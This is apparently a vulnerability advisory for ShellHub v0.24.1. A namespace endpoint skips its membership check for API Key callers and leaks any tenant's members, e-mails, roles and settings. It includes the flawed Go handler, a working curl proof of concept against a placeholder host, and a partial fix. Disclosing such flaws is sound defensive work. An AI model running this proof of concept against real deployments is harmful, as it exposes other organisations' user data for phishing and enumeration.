CVE-2026-44426 — shellhub

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

• Enumeration of any ShellHub namespace by tenant UUID.
• Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
• Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

   // nsadm.go GetNamespace
   if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
       return c.NoContent(http.StatusForbidden)
   }